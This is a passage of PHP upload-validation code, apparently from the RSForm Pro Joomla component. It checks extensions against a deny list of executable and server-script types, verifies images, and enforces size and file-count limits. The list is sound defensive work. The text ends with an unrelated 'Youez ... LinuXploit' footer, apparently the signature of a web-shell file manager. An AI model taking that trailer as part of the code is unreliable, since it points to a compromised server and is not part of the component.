								$accepted = true;
								break;
							}
						}

						if (!$accepted)
						{
							throw new Exception(Text::sprintf('COM_RSFORM_FILE_EXTENSION_NOT_ALLOWED', htmlspecialchars(basename($name), ENT_QUOTES, 'utf-8')));
						}

						if (in_array($ext, array('php', 'php3', 'php4', 'php5', 'php7', 'php8', 'pht', 'phtml', 'phps', 'phar', 'phpt', 'pgif', 'inc', 'shtml', 'shtm', 'htaccess', 'htpasswd', 'cgi', 'pl', 'py', 'jsp', 'asp', 'aspx', 'sh', 'exe')))
						{
							throw new Exception(Text::sprintf('COM_RSFORM_FILE_EXTENSION_NOT_ALLOWED', htmlspecialchars(basename($name), ENT_QUOTES, 'utf-8')));
						}

						if ($allowImages && function_exists('exif_imagetype'))
						{
							$imagetype = exif_imagetype($actualFile['tmp_name']);
							if ($imagetype === false && ($ext === 'webp' && version_compare(PHP_VERSION, '7.1.0', '>=')  || $ext !== 'webp'))
							{
								throw new Exception(Text::sprintf('COM_RSFORM_FILE_DOES_NOT_SEEM_TO_BE_AN_IMAGE', htmlspecialchars(basename($name), ENT_QUOTES, 'utf-8')));
							}
						}
					}

					$filesize = (int) $this->getProperty('FILESIZE');

					// Let's check if it's the correct size
					if ($size > 0 && $filesize > 0 && $size > $filesize * 1024)
					{
						throw new Exception(Text::sprintf('COM_RSFORM_FILE_EXCEEDS_LIMIT', htmlspecialchars(basename($name), ENT_QUOTES, 'utf-8'), $filesize));
					}

					$countFiles++;
				}
				elseif ($error != UPLOAD_ERR_NO_FILE)
				{
					// Parse the error message
					switch ($error)
					{
						default:
							// File has not been uploaded correctly
							throw new Exception(Text::_('RSFP_FILE_HAS_NOT_BEEN_UPLOADED_DUE_TO_AN_UNKNOWN_ERROR'));
							break;

						case UPLOAD_ERR_INI_SIZE:
							throw new Exception(Text::_('RSFP_UPLOAD_ERR_INI_SIZE'));
							break;

						case UPLOAD_ERR_FORM_SIZE:
							throw new Exception(Text::_('RSFP_UPLOAD_ERR_FORM_SIZE'));
							break;

						case UPLOAD_ERR_PARTIAL:
							throw new Exception(Text::_('RSFP_UPLOAD_ERR_PARTIAL'));
							break;

						case UPLOAD_ERR_NO_TMP_DIR:
							throw new Exception(Text::_('RSFP_UPLOAD_ERR_NO_TMP_DIR'));
							break;

						case UPLOAD_ERR_CANT_WRITE:
							throw new Exception(Text::_('RSFP_UPLOAD_ERR_CANT_WRITE'));
							break;

						case UPLOAD_ERR_EXTENSION:
							throw new Exception(Text::_('RSFP_UPLOAD_ERR_EXTENSION'));
							break;
					}
				}
			}

			if ($multiple)
			{
				$minFiles = $this->getProperty('MINFILES', 1);
				$maxFiles = $this->getProperty('MAXFILES', 0);

				if ($validationType == 'directory')
				{
					$countFiles += count($alreadyUploaded);
				}

				if ($required || $countFiles)
				{
					if ($minFiles > 0 && $countFiles < $minFiles)
					{
						throw new Exception(Text::sprintf('COM_RSFORM_MINFILES_REQUIRED', $minFiles));
					}

					if ($maxFiles > 0 && $countFiles > $maxFiles)
					{
						throw new Exception(Text::sprintf('COM_RSFORM_MAXFILES_REQUIRED', $maxFiles));
					}
				}
			}

			if ($required && $countFiles === 0 && empty($alreadyUploaded))
			{
				throw new Exception($this->getProperty('VALIDATIONMESSAGE'));
			}
		}
		catch (Exception $e)
		{
			$properties =& RSFormProHelper::getComponentProperties($this->componentId);
			$properties['VALIDATIONMESSAGE'] = $e->getMessage();

			return false;
		}

		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit